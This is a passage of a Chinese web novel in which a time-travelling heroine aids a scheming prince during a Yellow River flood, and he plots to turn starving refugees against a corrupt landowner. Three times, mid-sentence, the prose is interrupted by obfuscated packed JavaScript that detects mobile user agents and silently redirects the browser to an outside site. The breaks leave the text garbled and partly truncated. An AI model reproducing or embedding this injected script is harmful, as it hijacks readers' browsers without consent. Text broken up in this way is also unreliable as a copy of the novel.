看到齐思铭的那一刻,高玥一颗悬着的心终于放了下来。她勉强露出一个微笑:"还好找到你了……" 话音刚落,高玥便软软地晕了过去。 当高玥再次睁开眼时,发现自己躺在一间陌生的屋子里,屋内是熟悉的檀木香,装饰虽然不算奢华,但处处透着雅致。 她下意识地想坐起身,可这个简单的动作,此刻却难如登天。此刻她浑身上下仿佛每一寸肌肉都被人狠狠捶打过一样。 她不甘心地咬着牙,用尽全力,勉强用手肘撑起半个身子。 可还未等她看清周围的环境,手臂便是一软,整个人不受控制地向后倒去,重重砸回了床榻上。 这一下的惯性极大,她的身子一偏,竟顺着床沿滚了下去,“咚”的一声闷响,结结实实地摔在了坚硬的地板上。 门“砰”的一声打开。 齐思铭快步走进来,看到倒在地上的高玥,赶紧上前将她扶起。 "你这是做什么?身上的伤还没好,怎么能乱动?" 高玥靠在他怀里,感受着他身上熟悉的味道,心中涌起一阵暖流:"对不起,我……" "说句对不起就完了?"齐思铭将她轻柔地放回床上,语气中带着压抑的怒火,"你就不能跟他们一起来吗?非要一个人冒险,差点出事你知道吗?" 看着他那双盛满了担忧与怒火的眼睛,高玥的心头五味杂陈,愧疚与暖意交织在一起,让她一时间不知该说什么。 这个男人,这个平日里心思深沉、喜怒不形于色的活阎王,此刻却毫不掩饰他的紧张与后怕。 "因为有些事情必须要当面跟你说。"高玥虚弱地开口,"关于决堤的事,我想到了一些解决方案......"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315863|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐思铭简直要被她气笑了,他俯下身,指尖轻轻擦过她脸颊上干涸的血迹,说出的话却带着咬牙切齿:“解决方案?高玥,你看看你现在的样子,半条命都快没了,脑子里想的还是这种事情?本王是该夸你忠心,还是该把你这条腿打断,让你再也跑不出去?” 高玥虚弱一笑:“王爷若是觉得我多管闲事,大可不必听就是。” “本王是怕你累死!”齐思铭没好气地打断她,“黄河的事情,本王自有安排,还用不上现在这么虚弱的你来帮本王。” 高玥却摇了摇头,语气认真起来:“王爷,我知道你胸有大志,想要有一番作为。可如今太子在前,你想要出头,就必须拿出比他更好的方案,我只是想尽我所能,帮王爷分担一些。” 齐思铭微微眯起眼睛,似乎在重新评估着她。 高玥坦然地迎上他的目光,打趣道:“说不定日后我比太子还要能干,到时候王爷可不要过河拆桥才好。” 齐思铭缓缓俯下身,两人的距离瞬间被拉近,近到高玥能清晰的问道他身上淡淡地木质香,混杂着一丝不易察觉的血腥。 “过河拆桥?”他低声重复着这四个字,“你是不是忘了,你现在走的桥,就是本王造的。” 他的指腹从她的脸颊缓缓滑到下颌,轻轻捏住,迫使她抬头对上他那双极具压迫感的眸子。 “不要和本王谈条件。本王可以让你平步青云,也可以让你粉身碎骨。” 高玥的心莫名地漏了一拍,从以前她就知道,在这个男人面前,示弱是最无用的策略。 她忍着浑身的剧痛,扯出一个比哭还难看的笑容,“我当然知道这是王爷造的桥。可这桥若是不结实,走的人多了,也是会塌的。” “我只是想帮王爷把这桥修的更牢固些罢了。” “毕竟我现在可是王爷桥上的人,我可不希望还没走到对岸,这桥就塌了。” 四目相对,空气仿佛在这一瞬间凝固。 他眼中的审视几乎要将她刺穿。 不知过了多久,他眼中的阴霾渐渐散去,取而代之的是一种更为复杂的情绪。 他松开手,指尖若有若无地擦过她的唇瓣,狠狠地说道,“伶牙俐齿。” 他哼了一声,声音听不出喜怒。 “说吧,你准备怎么办。” 高玥深吸了一口气,认真地说道,“王爷,黄河决堤,于百姓是天灾,于朝廷是麻烦,但对于您……是天赐的良机。” “朝廷的赈灾银粮,要经过户部,地方官府,层层盘剥,等到了灾民手上,还能剩下几成?” “太子离得太远,而王爷您,可以离得很近。” 齐思铭的眼中闪过一丝玩味,“继续说。” “古人云,民心如磐石,社稷赖以安。太子殿下靠着如今的威望,看似稳固,实则如无根之木,风雨飘摇。王爷您要做的,不是与他争一时之长短,而是要去筑牢这社稷之根基。” 高玥说到这里,气息有些不稳,但依旧强撑着,一字一句地说道,“而现在,就是收拢民心,让天下人知道除了太子,还有您这位贤王的好时候。” 话音刚落,高玥便感觉到一阵脱力,身体不由自主地向后倒去。 齐思铭却忽然伸出手将她揽住。这突如其来的动作让高玥的身体猛地一僵。 “这么好的脑子,怎么就不知道爱惜自己的命?”高玥听到齐思铭在她耳边低低地说道。 “因为我知道,王爷会来。”高玥几乎是很自然地接上了话,说完连她自己都愣住了。 齐思铭的动作一顿。 他下意识地想说“你只是棋子罢了”,可是话到嘴边,却变成了一句,“你确实很有手段。” 他将她重新平放在床上,仔细掖好被角。 “把伤养好。”齐思铭站起身,恢复了往日的疏离。“本王要的,是你的脑子,不是你的命。” 他转身欲走,高玥却轻轻叫住了他。 “王爷。” 齐思铭脚步一顿,没有回头。 “这个世界上,想让王爷死的人很多,”她的声音很轻,但是每一个字都很清晰,“但至少,不包括我。” 齐思铭的背影在门口僵住了片刻,最终什么都没说,大步流星地离开了。 房间内,似乎还残留着他身上淡淡的木质香,丝丝缕缕将她全部包围。 她看着空无一人的房间,嘴角勾起一抹虚弱却得意的笑容。 16. 一念心魔一念卿 接下来的几日,齐思铭几乎是寸步不离地守在高玥身边。 这日,王友收到一份密报,火烧眉毛地要找齐思铭,却被拦在了院外。 “王侍卫,请留步。”一个侍卫拦下了他。 “让开,我有十万火急的事情要跟王爷禀报,耽误了你担待不起!” “王爷有令,任何人不得入内打扰。”那个侍卫面露难色,嘴上却寸步不让,“天大的事,也得在外面等着。” “你疯了吧。”王友懒得废话,拨开他就往院中走。 “哎……”还没等那个侍卫说话,王友看到院内的景象,自己先僵住了。 只见自家那位能在朝堂上搅弄风云的“活阎王”,此刻正极不雅观地蹲在一个小小的药炉旁边。 齐思铭一手有些生疏地摇着蒲扇,另一只手则时不时地掀起药罐盖子,探头观察里面的药汤,专注地像是在研究什么军事机密,全然不见平日里半分的阴鹜。 王友张了张嘴,那个“急”字,就这么死死地卡在喉咙里,吐了半天都没吐出来。 他跟在王爷身边多年,见过他谈笑间定人生死,也见过他面对皇帝的猜忌时那份深不见底的沉稳。 可他从未见过王爷沾染这人间烟火,更别说像个寻常人家的夫君一样,为个女人洗手作羹汤,他甚至觉得,若是此刻天塌下来,自家的主子恐怕也只会先顾着那炉子上的药。 由于这个景象实在是太过于诡异,王友一个没忍住,“噗嗤”一声笑了出来。 摇着蒲扇的齐思铭动作一顿,缓缓转过头,沾着黑灰的脸上看不清喜怒。 王友一个激灵,瞬间回神,差点当场给自己一个嘴巴子,“王爷赎罪!属下失仪,属下罪该万死!” 齐思铭轻哼一声,收回目光,重新看向药炉:“行了,起来吧。下次再这么大惊小怪,就去伙房烧一个月的柴。” 高玥靠在床头,看着齐思铭端着漆黑的药汁走进来,小心翼翼地吹凉,心中虽是有些感动,但又有些说不出的别扭。 “张嘴。”齐思铭的声音一如既往的低沉,却少了几分往日的清冷。 她见过齐思铭意气风发的样子,也见过他因为受挫而内心惆怅的样子,但是现在的这样…… 高玥看着悬在唇边的勺子,又看了看齐思铭那张沾着黑灰的脸,以及那双此刻写满“认真”的眼神,只觉得浑身都不自在起来。 这画面实在太过诡异,她下意识地往后缩了缩。 齐思铭敏锐的观察到了这个细小的动作,眉头皱得更深了些。 “怎么,是嫌我熬的不好?” “不……不是!”高玥连连摆手,伸手想要去拿那个勺子,“王爷,这种小事还是让我自己来吧,怎么干劳烦您呢?呵呵。” 她刻意用上了“您”这个敬称,试图拉开距离,好让自己心里不那么别扭。 齐思铭的目光在她脸上停留了片刻,似乎是想从她脸上看出些什么,最终他没再坚持,只是哼了一声,将碗递到了她手里。 “趁热喝,一滴都不许剩。” 他虽然松了手,但是却没有急着离开,而是随意拿起一本书,坦然地看了起来。 月光洒进屋内,却驱不散高玥心头的阴霾。 被追杀时的血腥场面,那个大汉倒地时错愕的眼神,都成了高玥挥之不去的梦魇,在她脑海里一遍一遍地上演。 “睡不着?”齐思铭的声音在房间里响起,他一直没走,只是静静地坐在不远处的椅子上。 高玥点了点头,答非所问地说道:“那是我第一次杀人。” 她并非嗜血残暴之人,那一刺不过是求生的本能,可却成了压在她心头的一块巨石。 齐思铭沉默片刻,起身走到她床边坐下,不知怎么的,高玥觉得此刻他的侧脸柔和了许多。 他却缓缓说了一个众所周知的秘密: “想必你也知道,我虽姓齐,却与当今陛下并无血缘。” 他的声音低沉,带着一丝遥远的哀伤,“皇城被攻破那日,我亲眼看着母亲死在我面前,而周围的士兵,下一个要杀的就是我。” “那一刻,我也不知道自己哪里来的勇气,拾起了身边的一把剑。他们以为我只是个孩子,就算我手持武器,他们的内心也是看不起我的。”他看向高玥,眼神仿佛一把利刃,突然笑了,“可是,哪怕是孩童,人在绝境的时候,也是会反击的。” 他想起了那个士兵倒下时候的那个眼神,不可置信。 “谁生来就想杀人?若非这世道逼人,谁又想去做那个恶人?” 齐思铭的声音很轻,高玥怔怔的看着他,她突然意识到,这个平日里让她担惊受怕的男人,第一次在他面前亲手揭开自己的伤疤。 “你当时不害怕吗?” 齐思铭的嘴角勾起一抹极淡的微笑,“当然害怕。那个时候我才多大?那把剑比我的人还高。” “但我更怕死,怕我像我的母亲一样,连一句遗言都来不及说,就倒在血泊中。” “所以,你不用觉得有任何负担。”他伸出手,将她的脸上一缕青丝拨到耳后,“你杀他,是为了能活下来,你应当庆幸,为了自己还活着而庆幸。” 高玥静静地听着,脑子里却不合时宜地想起了另一件事。 那一箭,从背后射穿她身体的情景,依旧清晰得可怕。 原来,他那份深入骨髓的阴狠与决绝并非与生俱来,她仿佛能看到,一个孤立无援的男孩,在尸山血海中,握着一柄比自己还高的剑,在绝境中重生的画面。 当今的那个男人,亲手覆灭了他的国家,杀了他的至亲,却又奇迹般地放过了他,虚伪地给了他一个姓氏,一个王爷的虚名,然后将他永远困在自己的身边,每日像是看着一个活着的战利品。 这是何等的讽刺。 让他认贼作父,顶着仇人的姓氏,在仇人的眼皮子底下步步为营地活下去。 怪不得他会变成如今这个样子。 高玥没有追问,只是觉得眼皮越来越沉,她昏昏沉沉地睡去。 梦里,那个被她杀死的壮汉又出现了,浑身是血地向她走来,嘴里不停地咒骂着,说要拉她一起下地狱。 梦中的她怕得浑身发抖,转身就跑。 可无论她跑到哪里,那个血人总能追上她,恐惧像一只手扼住了她的心脏,让她几乎窒息。 就在她以为自己要被拖入无边地狱时,齐思铭的声音突然在耳边响起:“若非这世道逼人,谁又愿意去做那个恶人?” 是啊,她只是想活下去而已,有什么错呢? 这个念头一闪而过,高玥猛地停下脚步。 她转过身,直视着那个步步紧逼的血人,她知道,那血人是她的心魔。 “我不想杀你,是你逼我的!”高玥大声喊道,声音里带着颤抖,却又无比坚定。 “我只是想活下去,我有错吗!” 随着她喊出这句话,那血人的身影也开始变得透明,可憎的五官也渐渐消散。 在血人消散的那一刻,高玥仿佛看到齐思铭站在一片光芒之中,对着她缓缓伸出了手。 高玥从梦中惊醒,她环顾四周,房中只有她一人,原本的熏香不知何时被换成了有安神效果的梨香,淡淡的香气让她紧绷的神经放松下来。 她握了握拳头,估摸着身体恢复了不少,便披上外衣,想出门呼吸些新鲜空气。 刚走到院中,她便听到不远处一间屋子里传出了说话的声音。 她鬼使神差地走了过去,正好听到一个人在向齐思铭禀报。 “王爷,行宫传来消息,黄河决堤,圣驾被困,一时半会儿怕是回不来了。陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315864|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口谕,命您暂代河北一切事务。” 高玥的心沉了下去。 暂代河北事务,听起来是委以重任,可如今河北灾情严重,百废待兴,这就是个烫手的山芋。 做得好,是皇帝领导有方;做得不好,齐思铭就要背上一个办事不力的罪名。 齐思铭看似手握重权,可终究不过是皇帝手中的一随时可以舍弃的棋子。 果然,齐思铭沉默了许久。 良久,才传来他低沉的声音:“知道了。” 接着,另一个人犹豫着开口:“王爷,黄河决堤,南北水运之事只能搁置,之前筹措的资金,已悉数投入赈灾。 可这次灾情实在严重,灾民的房屋田地尽毁,存粮也快见底了……” 齐思铭的声音透着疲惫:“此事,我会想办法。” 这确实是迫在眉睫的问题,高玥心想。 必须先去外面摸清灾情的具体情况,才能对症下药。 就在她刚准备转身离开,屋内的人突然察觉到了外面的动静。 “谁!” 只那一瞬,一柄短剑破窗而出,稳稳地钉在了她身侧的廊柱上。 高玥吓得心脏都停跳了半拍。 房门“吱呀”一声打开,齐思铭脸色阴沉地走了出来,当他看清是高玥时,脸上的神色变了几变。 “你怎么自己跑出来了!”他表情严肃地说道,“还好我察觉到是你,若是这剑射偏了,你还想回宫吗?!” 高玥拍了拍胸口,却还是挤出一个笑容:“知道啦知道啦,下次我会注意的,王爷不会要怪我偷听你们谈事吧?” 齐思铭脸上的神色缓和了些,似乎想起了什么,又补充道:“之前追杀你的人,有眉目了。是城外的一伙土匪。” “不是土匪。”高玥摇了摇头,她心中早已有了猜测。 齐思铭的眼神又冷了下去:“是与不是,都无所谓,我派人把他们都杀了便是。” 高玥的脑壳有些作痛,这人怎么回事,张口闭口就是杀人。 不过还好,跟他相处久了,她也逐渐习惯了他这种处事方式,自从昨夜听他讲了那些过往后,她对他这种狠厉倒也多了几分说不清道不明的理解。 “他们也只是受人指示罢了。”高玥说,“此事我心中已有对策。眼下还是那些灾民要紧。” 话音刚落,高玥突然“哎呀”了一声,一手扶住额头,身子轻飘飘地晃了晃,顺势就要往地上倒去。 齐思铭眼疾手快,一个箭步上前,稳稳地将她揽入怀中。 “怎么了?是不是伤口又疼了?” 高玥顺势靠在他怀里,虚弱地说道:“我的身体,可能不太适应这里的药。” 齐思铭以为她说的是河北水土不服,皱眉道:“等你好些,我便派人送你回宫。” “不是的,”高玥急忙解释,“是这边大夫开的药方,可能不太对症。” 她心里嘀咕,自己受了这么重的外伤,不开些消炎猛药,净开些安神补气的,得喝到猴年马月? 她心念一动,偷偷用系统积分兑换了一张对症的中药药方,从袖中取出,递给齐思铭。 齐思铭接过那张药方,端详了许久,才抬眼看她:“我倒是没听过你还精通医理。” 高玥讪讪地笑了笑,扯了个谎:“之前在宫中闲来无事,跟太医学过几招皮毛。” 齐思铭又低头看了看,发现药方上的药材虽然有些不常见,但单拎出来确实都是有助于伤口愈合,活血化瘀。 他将药方收好,对高玥说道:“我会吩咐王友去抓药的,你快回去歇着。” “我想让你陪我去。”高玥拉住他的衣袖,仰起脸看他,声音放软了些,“我都在床上躺得快发霉了,也该出去走走了。” 他拗不过她,终是叹了口气,点了点头。 17. 朱门酒肉臭 路有冻死骨 两个人刚走出府,一股混杂着腐烂味的腥臭便扑面而来。 街道早已不成样子,原本的青石板路被黄泥覆盖,高玥才走了几步,脚下的绣花鞋便彻底遭殃。 这与她记忆中,或是说,与史书资料里那个商贾云集、繁华富庶的河北,判若两地。 街道两旁,店铺门板紧闭,街上没有行人,只有衣衫褴褛、面黄肌瘦的灾民,他们蜷缩在屋檐下,眼神空洞地望着阴沉的天空,早已了无生气。 齐思铭走在她身侧,脸色比刚刚在院中时更加阴沉,他看着满目疮痍,眉头紧紧索成了一个“川”字。 他似乎察觉到了高玥的异常,下意识地放慢了脚步,将她往揽到街道内侧,用自己的身体隔开了那些踉跄的灾民。 高玥抬眼看他紧绷的侧脸,在这片狼藉之中,他的身姿依旧挺拔,只是那双总是阴郁的双眼,此刻却染上了一层更为浓厚的阴沉。 他们走到城中最大的药铺“仁和堂”前。 只见“仁和堂”的招牌歪歪斜斜地挂着,上面蒙了一层厚厚的灰尘,大门紧锁。 只见门口一个骨瘦如柴的中年男人正靠在药铺前的石狮上,他看到齐思铭一行人衣着不凡,刚想挣扎着站起来,却因为长时间的饥饿无力的又滑了下去。 “店家,为何不开门?” 那男人瞥了一眼齐思铭,扯出一个比哭还难看的笑容。 “开门?开什么门?客官,您看看这满城的人,都是我的客人,你让我我拿什么卖给他们?”他指了指自己破烂的衣衫,“实不相瞒,我就是这仁和堂的掌柜,如今连我自己都成了灾民。” 齐思铭的脸色愈发阴沉,他没有再说话,而是转身沿着街道向里走。 高玥默默跟在他身后,越往里走,景象越是惨不忍睹。 这里已经不能称之为街道,这分明就是人间炼狱。 积着污水的坑洼里,几个孩子正围着什么东西疯抢。 “我的!是我的!”其中一个女孩尖叫着,指甲嵌入另一个女孩的手臂,划出几道触目惊心的血痕。 而被她抓的那个女孩像是没有感觉到疼痛一样,张嘴就去咬对方的肩膀。 她们的脸上满是污泥,早已看不出原本的模样。 终于,那个年级稍大一点的女孩凭借着一丝力气将馒头抢到了手,她甚至都来不及拍掉上面的泥土,就迫不及待地往嘴里塞。 没抢到的那个女孩像疯了一般扑上去,狠狠咬住那只抓着馒头的手。 随即是尖锐的惨叫。 高玥的呼吸停滞了,她下意识地看向齐思铭。 但他只是静静地站在那里,面无表情,一双幽深的眸子中翻涌着山雨欲来前的风暴。 他忽然转身,一字一顿地对王友说道:“去查,城中最大的乡绅是谁。” 王友一愣,随即领命而去。 齐思铭的目光扫过高玥,声音没有一丝温度:“回府。” 高玥知道,一头猛兽被唤醒了。 回到府中不过半个时辰,王友便带回了消息。 “王爷,城中乡绅以王员外为首,据说他在城郊还有百亩良田。” “那药材呢?”齐思铭问道。 “问过了,城中药材早就被搜刮一空,都说王员外家中有囤积,但谁也没见过。” 齐思铭轻笑了一声,那笑容看得人脊背发凉。“备马,调集三百亲卫,随本王去员外府上‘取’药。” 他用的是“取”,而非“借”或“买”。 直接带兵包围,以最高效的方式解决问题,这很符合他的风格。 就在此时,系统的提示音毫无征兆地响起。 【检测到关键剧情节点,触发隐藏信息】 【地点:王员外府邸。】 【目标:府邸地下密室中,除大量囤积的珍贵药材外,另有官粮五百石。】 【系统建议:将“侵吞赈灾粮”的罪名公之于众,将王员外的个人行为上升为动摇国本的重罪,可极大提升目标对象在河北的声望。】 高玥的瞳孔骤然收缩。 官粮五百旦! 这足够多少流民三个月的吃食了,这王员外竟然私藏在家中! 这可比囤积药材的罪名要重上千百倍。 在灾情如此严重的情况下,这无异于欺君! 齐思铭刚准备出发,高玥快步上前,拦住了他。 “王爷请慢!” 高玥压低了声音,语速极快,吐字却异常清晰:“我刚刚得到消息,王员外的地下室里,除了药材,还藏着本该发给灾民的五百石粮食。” 齐思铭的脚步停住了。 他猛地转头,却意外的没有问她消息的来源。 空气仿佛凝固了。 一时间高玥也找不到合适的解释理由,只得重复地加重了语气,“是真的!” “我相信你。”他没有说其他的话,也没有进一步的询问,单是这四个字,就已经给高玥吃了一颗定心丸。 他的眼中取而代之的是一种更为深沉的目光。 “很好。”齐思铭缓缓吐出两个字,然后对王友下令,“所有人,原地待命。” 他转身回到桌案前,重新坐下,指尖在桌面上轻轻敲击,发出规律的声响。 一场远比直接抄家更为血腥的计划,正在他脑中成型。 夜深了。 高玥的屋中里只点了一盏灯,火光将两人的影子拉得长长的,投在墙上交织在一起。 齐思铭平静地开口。 “他必须死,但不能死在本王手里。” 高玥知道齐思铭指的是王员外,她静静地听着,没有插话。 “水能载舟,亦能覆舟。”齐思铭的语调没有丝毫波澜,仿佛在说一件与自己无关的事情,“他死得越惨,越能震慑那些藏在暗处的老鼠。” 他抬眼看向高玥。 “明天一早,我会派人去城中散布消息,就说王员外囤积了大量药材和粮食,但只肯高价卖给富人,对穷苦百姓见死不救。” “王友,”他转向门外,“去找几个看起来最惨的灾民,给他们一些银子,让他们去王员外家门口闹,就说家人病重,王员外不肯施药。记住,要让他们哭得真,闹得大。” “最后,”他的手指在桌面上重重一点,“当城中所有饿着肚子等死的人,都知道有一个人囤积着可以救命的药材,却见死不救时,你猜他们会做什么?” 高玥感到一阵寒意从脚底升起,瞬间窜遍全身。 她知道答案。 “他们会去抢。” “对。”齐思铭的嘴角终于有了一丝笑意,“他们会像疯了一样冲向王员外,砸开他的大门,抢走他的一切。 而本王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315865|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,会在最合适的时候出现,以维持秩序的名义封锁员外府,然后“意外”地发现那个藏着官粮的地下室……” 齐思铭没有再说下去。 但是高玥已经知道了结果。 “届时,人证物证俱在,王员外侵吞赈灾粮、草菅人命的罪名就成了铁案。他是被愤怒的灾民活活打死的,与齐思铭毫无关系,他甚至可以收获一个斩奸除恶的美名。” 高玥的心脏在胸腔里剧烈地跳动着。 齐思铭的计划,每一步都精准地计算了人性中最黑暗的一面。 绝望、愤怒、贪婪。 他将灾民的痛苦当做武器,将他们的愤怒化为利刃,去杀死另一个罪人。 好一场完美的“借刀杀人”。 与其说是刀,不如说是火苗。 星星之火,可以燎原,也可以彻底点燃百姓的愤怒与不甘。 高玥感到一种生理性的不适。 这个男人,可以为你煲汤熬药,可以在你最煎熬的时候告诉你撑下去,也可以微笑着跟你谈论如何轻松地掀起一场暴动。 他刚刚谈论如何将一个人置于死地的时候,就仿佛在讨论天气情况那样自然。 但…… 她脑海中浮现出那两个在泥水里抢夺发霉馒头的小女孩,浮现出那些躺在街边奄奄一息的灾民。 他是错的吗? 在她的认知里,就算是一个人有错,也要用法律的流程将他制裁,这是大错特错。 可这是乱世,谁又与你讲道理呢? 这已经是最快,最有效,能拯救最多人的办法了。 跟朝廷上报,等批文下来,黄花菜都凉了。 王员外这样的人,走正常的流程,最后说不定只是自罚三杯。 只有用雷霆手段,用最血腥的方式,才能瞬间炸开河北这潭死水,震慑所有心怀鬼胎的人。 高玥抬起头,迎上齐思铭探究的目光。 他在等她的反应,或许,他是在等她指责,她的不认同。 她深吸一口气,压下心中的翻腾。 她看着齐思铭,看着这个在黑暗中独行了太久的男人。 这一次,她选择与他同行。 “我明白了。”高玥的声音很轻,却异常坚定,“王友做事细心,我会让他去办。人证方面,你不用担心,外面随便拉一个,谁不是家破人亡,流离失所,这样的人,根本无需伪装。” 齐思铭眼中的探究,逐渐转化为一丝不易察觉的惊讶,随即又被更深沉的情绪所取代。 他以为她会害怕,会退缩,会用那些所谓的仁义道德来劝说他。 她没有。 她只是平静地接受了这一切,甚至还为他的计划补充了最关键的细节。 “我以为你会……”齐思铭想要找一个合适的词,却最终没有说出口,只是看向对面的人。 高玥忽然笑了,她对向他的目光,不避不闪,“怕你?” 齐思铭的呼吸一滞。 “那王爷……你是希望我回答怕你,还是希望我劝你?” 他喉咙微动,原本想说的话尽数堵在了喉间。 良久,他才从唇边发出一声低不可闻的叹息,像是无奈,又像是某种释然。 “我希望你……”他声音压得更低,带着一丝连自己都未曾察觉的乞求,“……别怕我。” 18. 火中取栗问真心 一堵高墙,隔出两个世界。 墙内,歌舞升平,酒气熏天,是人间富贵乡。 墙外,夜风阴冷,只有饥民喉咙里压抑的吞咽声。 他们眼中泛着绿光,好似荒野中的野狼。 高墙之上,一处隐蔽的角落,齐思铭与高玥并肩而立,冷眼旁观着墙内的景象。 看着墙内一片奢靡的样子,屋外的饥民却每日在饥饿的边缘挣扎,高玥不禁攥起了拳头。 “怕吗?”齐思铭的声音很轻,但目光却始终没有离开下方那座歌舞升平的别院。 高玥深吸一口气,强行压下心头的不适。 她不是没见过世面的姑娘,可眼前的一切都太过真实,那些饥民眼里的恨意,官员脸上泛着的油光,都让她胃里一阵不适。 她的身体控制不住地发抖,但吐出的话语却冰冷而又决绝:“他们活该。” 齐思铭侧脸看她,夜色中的那双眼睛亮得惊人。 他没有说话,只是伸出手,将她冰冷的手握入自己温热的掌心。 他的手很热,带着一股不容置疑的力量,瞬间抚平了高玥心中的一丝慌乱。 “好戏才刚开始。”他低声说道,“接下来,我们要去取一样东西。” “你要的不是账本?”高玥一愣,压低声音问道。 “纸上的账目,烧了便烧了。”齐思铭毫不在意地说道,“我要的,是个活的账本。” “我得到情报,这群人的背后,有个“操盘手”,但凡见不得光的银钱往来,都经他一人之手。 而这个人,比任何账簿都重要。今天这场戏,不过是为他搭的台子罢了。” 话音未落,下方积蓄已久终于爆发。 “开门,给我们粮食!” 不知是谁先吼出了第一声,那声音嘶哑的如同干涸的湖塘,却瞬间点燃了所有人心中的怒火。 “开门!” “王扒皮!还我命来!” “抓紧我。”在大门被灾民撞开的那一刻,齐思铭拉着高玥的手,身形一晃便从飞檐滑下,几个闪身便融入了墙角的阴影。 早已在此等候的黑衣部下迅速跟上,一行人趁着所有人的注意力都饥民的骚乱吸引,悄无声息地从侧墙潜入了混乱的别院。 院内已是一片狼藉。 精致的瓷器摔得满地狼藉,平日里作威作福的官员们此刻抱头鼠窜,被愤怒的灾民追打,狼狈不堪。 齐思铭的部下们迅速散开,在混乱中搜寻着那个齐思铭口中的那个“活账本”。 结果却是一无所获。 整个别院翻了个底朝天,除了哭爹喊娘的贪官和同样吓破了胆的家眷,根本没有其他可疑之人。 王友匆匆回报:“王爷,都找遍了,没发现可疑的人。后院倒是有个柴房,但里面是空的。” 齐思铭眉头微蹙,阴冷的目光扫过院中一片狼藉。 高玥的心也开始打鼓。 难道情报有误? 不对。 既然齐思铭说这个人极其重要,那这些人必然会把他藏在最安全,最让人意想不到的地方。 安全…… 意想不到…… 她的目光飞快地扫过整个院子。 主厅,厢房,花园……这些地方都太过显眼,一定不会是藏身的地方。 她的视线最终落在了主厅内一处看似寻常的书房。 一个念头在高玥的脑中闪过。 最危险的地方,往往就是最安全的地方,如果要把一个人囚禁起来,又要让他帮他们干事,那什么地方最合适? 她快步走到书房,书房正中间摆着一张紫檀木大案,几个花瓶东倒西歪。 墨汁泼洒得到处都是,在光滑的青石地砖上,凝成一滩滩形状不规则的深色印记,空气中弥漫着墨汁的气味。 她的视线掠过那些墨渍,不对劲。 大部分地方的墨汁,只是单纯地泼洒在地面上,边缘清晰。 可就在书案底下的一个角落,那里的墨色却截然不同。那块没有在青石板上形成一滩,而是像滴入宣纸般,缓缓地朝着一个方向渗透,那处颜色也比别处更深,仿佛被什么东西给吸了进去。 她蹲下身,不顾裙摆沾上墨汁,伸手敲了敲地砖,那青石板严丝合缝,表面上看不出任何异样。 “这里没有。”一名部下检查后说。 高玥没有放弃。 她的指尖沿着石板的缝隙缓缓划过,系统面板在她眼前闪过一行提示,但她此刻已经完全没心思去看。 她的全部注意力都集中在了那块地砖上。 当她的手指划过书案正下方的一块石板时,果然,她感到了一丝极其微弱的松动。 她忽然明白了什么,示意齐思铭的部下合力将书案移开。 书案被挪开后,露出了下方的石板。 高玥指了指刚才发现松动的地方,轻轻地按了一下。 只听“咔哒”一声轻响,那块石板竟然向下沉了半寸,旁边一块完整的石板则无声地滑开,露出了一个黑漆漆的洞口,一股潮湿腐朽的气味扑面而来。 齐思铭朝高玥点了点头,率先走下石阶。 这个地方与其说是地下室,不如说是个囚笼。 空间狭小,空气污浊,一个年轻人正背对着入口蹲在地上,借着微弱的光,冷静地将一卷卷账册整理成堆,他的身边是一个燃着炭火的铜盆。 他衣衫褴褛,头发散乱,但动作有条不紊,仿佛外面的狼藉都与他毫无关系。 听到身后的动静,那个年轻人猛地回头,眼中迸射出警惕而锐利的光芒。 他迅速抓起身边的账册,作势要丢进火盆。 “苏青。” 齐思铭开口了,声音平静得没有一丝波澜,但这两个字却像一记重锤,狠狠砸在了年轻人的心上。 他露出了震惊的神情。 “苏青,字伯言。前朝御史苏建安独子。三年前苏家蒙冤,你隐姓埋名流落河北,凭一手算学本事活命,如今却被关在这里,为你杀父仇人的党羽做假账。” 这个经历,怎么这么像…… 高玥猛地看了一眼齐思铭,却看到齐思铭一步步走近,每说一句,那个年轻人的脸色就苍白一分。 当最后一句“我说的,对吗?”落下时,苏青握着账册的手剧烈地颤抖起来,眼中满是难以置信。 高玥站在齐思铭身后,也为这番话的威力而心惊。 短短的几句话,便传达了一个清晰的消息:你以为我是偶然发现的你?不,我是专门为你而来,我知道你所有的过去。 它更暗示着:我既然有能力知道,我也有能力为你翻案。 苏青死死地盯着齐思铭,他猛地站起身,将账册护在身后,抓起桌上的短刃对准他。 “你们是谁?”他的声音沙哑,“皇后的?还是其他哪位王爷的?不管你们是谁,都休想从我这里得到任何东西!” 齐思铭并不意外他的反应,只是静静地看着他,眼神里甚至带上了一丝怜悯。 “你以为你还走得出去?外面是愤怒的灾民,他们不会问你是谁,只会把你当成这些人的同伙。 你留在这里,只会是死路一条。” 齐思铭顿了顿,声音依旧平稳,夹杂着一丝蛊惑人心的味道。 